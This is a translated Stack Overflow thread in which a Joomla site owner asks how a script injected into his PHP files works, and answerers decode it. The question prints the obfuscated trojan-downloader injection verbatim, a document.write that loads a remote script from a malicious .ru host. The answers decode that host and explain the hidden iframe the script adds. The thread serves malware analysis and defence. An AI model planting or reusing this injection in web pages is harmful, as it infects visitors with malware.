这个网站感染脚本是如何工作的?

100
我的Joomla!网站一再被黑客攻击。某人以某种方式成功地将以下垃圾注入关键php脚本中,但我不想谈论配置Joomla。该网站没有太多访问量(有时我担心可能是那个网站的唯一访问者...),而且我并不在意网站是否恢复运行。我最终会处理好的。
我的问题是,这些垃圾是如何起作用的?我看着它,就是看不出它是如何造成任何伤害的?它试图下载一个名为ChangeLog.pdf的PDF文件,其中包含木马病毒,打开后会冻结您的Acrobat并对您的计算机造成破坏。它是如何做到的,我不知道,也不关心。但是以下代码片段是如何调用下载的呢?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET检测到此代码为JS/TrojanDownloader.Agent.NRO木马病毒


41
请不要有人因为好奇心而离开查看链接! - DOK
1
是的,不要四处游荡试图弄清楚发生了什么,魔法在于URL的简单编码以及使用行末的Replace/RegEx进行字符串解码/解析。 - DoctorLouie
13
一开始,“piece of script”读起来有些不同。 - Aditya M P
7个回答

182

注意在长串混乱的字符串后面有一个 replace 调用:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

它删除了大多数特殊字符,将其转换为普通的 URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(我手动将http:更改为evil:

请注意,正则表达式可以简化为.replace(/[#$@^&()!]/ig, '')

如果你查看这个脚本,你会发现它是一个非常简单的脚本,它注入了一个包含路径/index.php?ys的隐藏IFRAME,该路径来自同一域名。

我在 Fiddler 中请求了该页面,但它没有内容。


6
我认为提供iframe内容的脚本是为了避免每次都开始下载PDF。可能有1/10的机率或者类似的概率。当我刷新Joomla页面时,并没有每次尝试下载PDF。可能甚至是1/100的概率,谁知道呢? - Peter Perháč
177
谢谢你提到代码可以更高效地编写。 :) - Pekka
9
@Pekka,我认为这样写是有意为之,目的是让它更加难以理解。 - Elliptical view
7
当然。如果作者担心效率,他肯定不会使用正则表达式替换来得出一个静态字符串。哈哈。 - Dan Bechard
如果模式中没有字母,我不明白不区分大小写的模式修饰符有什么用处。如果使用正则表达式,我也会在字符类后面使用 + - mickmackusa

34

这些答案可能会帮助您了解恶意JavaScript代码的本质,但您应该寻找的是关闭Joomla引擎内在漏洞的方法。预打包的框架很容易出现漏洞,无论是有意还是无意,特别是当考虑到它们被设计用于unix,mac和windows环境时。

我的工作要求我在许多类型的服务器和系统上运行许多域,应用程序和框架,为客户和自己服务。随着时间的推移,我看到越来越多的机器人爬行这些系统,寻找由这些框架创建的后门入口的已知漏洞/入口。当我使用任何类型的框架时,我通常会确保重新命名大部分甚至整个文件结构,以摆脱这些令人讨厌的漏洞/后门。至少,您可以重新命名目录,这将使大多数机器人失真,但我的方式是完全消除给出框架本质提示的参考,其中包括重命名整个文件结构而不仅仅是目录。始终保留相对于旧命名约定的新命名约定图,以便轻松添加插件到基础框架中。一旦掌握了这个技巧,您可以将整个框架文件结构进行编程重命名以获得更快的结果,这在需要处理客户需要能够更新其具有插件等的框架时特别有用。


1
只是不要删除框架来源的信息,那样就完全错误了。 - DoctorLouie
2
哦,谢谢。这是一个不错的回答。虽然没有真正回答问题,但仍然+1,因为这确实是一篇非常有趣的阅读,并提出了很好的建议。谢啦。 - Peter Perháč

20
它只是对脚本URL进行正则表达式替换,以此给你提供结果。 注意:不要点击以下链接(已插入**以防止复制粘贴)
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

作为src


这么简单吗?天哪...我又被 Stack Overflow 搞定了 :) - Peter Perháč
@Josh - 这取决于你,我没有尝试过,所以无法告诉你确切的原因。我怀疑页面上可能有恶意脚本。你可以自行决定是否冒险! - Russ Cam

8
它使用replace函数和正则表达式来替换垃圾字符,代码没有问题:
 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

它从这里加载脚本:

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

这个脚本会在不可见的情况下从 iframe 加载内容。

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

我的建议是:你可以安装Joomlapack这样的Joomla备份工具吗?

我已经设置了一个定时脚本来保证备份的实时性,以防万一。

你正在使用哪个版本的Joomla?如果是1.0.X版本,那么它已经不再更新,而且已经开始显露出它老化的迹象。所以你应该备份并计划升级到1.5版本,并期待1.6的惊喜。


2
当您阅读整个内容时,您会发现它是一个字符串,后面跟着一个替换命令。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接